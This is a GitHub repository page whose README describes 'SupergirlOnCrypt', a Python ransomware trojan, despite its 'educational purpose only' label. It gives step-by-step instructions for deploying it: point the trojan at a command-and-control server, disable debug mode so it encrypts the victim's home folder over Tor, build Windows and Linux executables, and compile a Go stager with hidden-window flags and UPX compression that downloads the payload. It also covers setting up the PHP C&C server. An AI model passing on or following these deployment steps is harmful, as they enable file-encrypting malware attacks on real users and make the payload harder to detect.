Skip to content
CryptoTrojan in Python (For educational purpose ONLY)
Branch: master
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
API
App
Scripts
Stagers/Go
.gitignore
LICENSE
README.md Update README.md Mar 23, 2018
icon.ico

README.md

SupergirlOnCrypt ❤️ 👊 💥

Project Logo

For EDUCATIONAL PURPOSE ONLY

This is a Crypto Trojan written in Python which can be packed using Pyinstaller... and i ❤️ Supergirl so there you go.

To decrypt the Data the Victim has to answer some Questions about Supergirl! (No Payment required since it was just a fun Project)

Content

  1. Requirements
  2. Setup
  3. Building

Image while Building

Requirements

Both Windows AND Linux must have Python >= 3.5 installed to build the Executable/Binary.

Optionally you need the Golang compiler if you want to use the Go Stager because the Binary with Pyinstaller is quite large (~30mb - Windows and Linux) (Go Stager is only ~700kb).


Setup

We will generate the API´s public and private key in this process. So if you first generate a binary for Linux as shown here then you have to copy the whole repository folder to the windows box and only choose to recreate the venv.

The Trojan

  1. Change the API_URL in App/Config.py to your C&C Server URL
  2. Disable DEBUG_MODE (Leave it on if your API is running locally because otherwise Tor cant reach your local network)
  3. Optionally change your File Types
  4. Build Executables/Binary for Windows and/or Linux
  5. Setup API

Overview of DEBUG True vs False

Debug On Debug Off
Creates a logfile No logfile
Does not user Tor Uses Tor to communicate
Encrypts Folder ./test_files Encrypts Users HomeFolder

If you are Testing leave the DEBUG MODE ON OR USE A VM

Building

Linux

$ cd Scripts
$ ./supergirl.sh setup python3
$ ./supergirl.sh build

Now copy the whole folder to the Windows VM/Machine where you want to build the Windows Executable. When running the supergirl.ps1 ONLY recreate the venv and NOT the Keys since they are already generated from our Linux Setup. *

*Optionally you can also clone the Repo to the Windows Machine and only replace API/bin/private.key and App/res/server.public.key

This also applies vice versa

Windows

PS> cd Scripts
PS> .\supergirl.ps1 -mode setup -path C:\\...\\python.exe
PS> .\supergirl.ps1 -mode build

Building Stager

  1. Upload your Binary which you gathered from the previous step
  2. Go to ./Stagers/Go and open main.go
  3. Change line 34 var url string = "your-direct-download-url-here"

Building a Linux Stager

  1. GOOS=linux go build -ldflags="-s -w" -o stager main.go

Building a Windows Stager

  1. GOOS=windows GOARCH=386 go build -ldflags="-s -w -H=windowsgui" -o stager.exe main.go

  2. Optionally compress the Stager(.exe) binary with upx

  3. LINUX: upx --ultra-brute -o compressed_stager stager

  4. WINDOWS: upx.exe --ultra-brute -o compressed_stager.exe stager.exe

  5. Done

API

Since we communicate with our API we need to set it up. The API(located in ./API duhh) is written in PHP so any Linux /Win Server will do. On your Ubuntu C&C Server run:

$ sudo add-apt-repository ppa:ondrej/php
$ sudo apt update
$ sudo apt install apache2 php7.1 libapache2-mod-php7.1 php7.1-mbstring php7.1-sqlite3 php7.1-xml
$ sudo apt install composer unzip

Now copy the API Folder to your Server in the www root

$ cd /var/html
$ composer install

We need to install python to decrypt our keys if a user wants to decrypt

$ sudo apt install python3 python3-dev python3-pip
$ pip3 install cryptography

Your API should now be ready on http://ip/public (should respond with 501)

I wont show you how to setup a Tor hidden Service

Contributing

You can always open a Pull Request

OR

Buy me a coffee

Disclaimer

FOR EDUCATIONAL PURPOSE ONLY I AM NOT RESPONSIBLE FOR ANYTHING

            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
                    Version 2, December 2004

 Copyright (C) 2017 ThoughtfulDev

 Everyone is permitted to copy and distribute verbatim or modified
 copies of this license document, and changing it is allowed as long
 as the name is changed.

            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. You just DO WHAT THE FUCK YOU WANT TO.

I have no Idea if you understand this README.

You can’t perform that action at this time.